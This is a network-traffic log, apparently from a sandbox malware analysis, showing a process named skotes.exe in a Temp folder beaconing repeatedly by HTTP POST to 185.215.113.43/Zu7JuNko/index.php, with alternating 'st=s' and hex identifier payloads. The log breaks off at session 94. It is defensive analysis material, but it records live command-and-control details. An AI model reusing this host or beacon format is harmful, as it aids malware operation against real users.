71	192.168.2.4	50264	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:29.291246891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:30.712040901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50266	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:32.342170000 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:33.685688972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50268	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:35.419753075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:36.821160078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50270	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:38.445599079 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:39.838284016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50274	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:41.580888987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:42.957277060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50276	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:44.626948118 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:46.064313889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50279	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:47.749913931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:49.126617908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50281	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:50.765006065 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:52.124564886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50291	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:53.860290051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:55.294020891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50302	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:01.222435951 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:02.655473948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50306	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:04.396166086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:05.818351984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50308	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:07.452361107 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:08.843893051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50309	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:10.591269970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:11.921957970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50315	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:13.579909086 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:14.970074892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50317	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:16.712924004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:18.135386944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50319	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:19.780803919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:21.126487017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50320	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:22.870814085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:24.292879105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50322	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:25.929164886 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:27.357359886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50323	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:29.108033895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:30.514297962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50328	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:32.145833015 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:33.541233063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50330	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:35.412152052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:36.742082119 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50331	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:38.383763075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:39.728770971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50332	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:41.463490009 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:42.872710943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	50335	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
